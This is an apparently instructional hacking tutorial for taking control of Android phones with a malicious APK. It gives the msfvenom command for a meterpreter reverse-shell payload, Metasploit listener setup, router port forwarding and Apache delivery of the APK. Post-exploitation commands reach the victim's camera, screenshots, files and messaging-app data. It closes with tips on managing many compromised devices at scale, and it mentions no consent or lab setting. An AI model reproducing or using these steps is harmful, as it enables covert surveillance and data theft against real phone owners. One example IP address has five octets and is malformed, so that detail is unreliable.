How to Hack: Hacking Mobile Devices with Malicious APK Files

Overview

• Host Meterpreter preview servers/listeners on the internet
• Use a malicious APK file to hack into a mobile device
• Gain complete control and access to the mobile device
• Demonstration using Kali Linux and a mobile device

Preparation

Kali Linux Setup

• Ensure Kali Linux is running
• Mobile device connected via mobile data (not intranet)
• Identify unique IP address for mobile device

Hosting Listener and Delivery Mechanism

1. Identify Internal IP
   • Use ifconfig to find internal IP address (e.g., 192.168.1.23)
2. Setup Browser for Router Configuration
   • Access router (e.g., 192.168.1.254)
   • Identify external IP address (e.g., 202.202.166.63.69)
3. Port Forwarding Configuration
   • Host custom server (Kali Linux machine) on port 4444
   • Setup Apache web server to deliver APK file on port 8001
   • Commands to start Apache: service apache2 start
   • Verify Apache running: Check status and port
   • Apply port forwarding settings on the router

Creating Malicious APK File

1. Using MSFVenom
   • Command: msfvenom -p android/meterpreter/reverse_tcp LHOST=<External IP> LPORT=4444 -o <path>/android_device.apk
   • Ensure correct LHOST (external IP) for internet access
2. Deliver APK via Apache Web Server
   • Host APK file on Apache server

Setting Up Listener

1. Metasploit Console
   • Command: msfconsole -q
   • Use multi-handler: use exploit/multi/handler
   • Set payload: set payload android/meterpreter/reverse_tcp
   • Show options: show options
   • Set LHOST and LPORT (internal IP and port 4444)
   • Start listener: exploit

Executing and Gaining Access

1. On Android Device
   • Access APK file via browser: http://<External IP>:8001/android_device.apk
   • Download and install APK file
   • Grant permissions and open the app
2. Post-Exploitation Commands
   • Gain information and control using commands:
     • sysinfo - Device information
     • app_run, app_install - Manage applications
     • webcam_list, webcam_chat, screenshot - Access camera
     • pwd, ls, cd - Navigate filesystem
   • Access sensitive data (e.g., Facebook, WhatsApp directories)

Additional Notes

• Same method can be applied to other devices (e.g., laptops, tablets)
• Future scenarios involve hosting listeners on cloud providers for scalable operations
• Manage numerous devices seamlessly
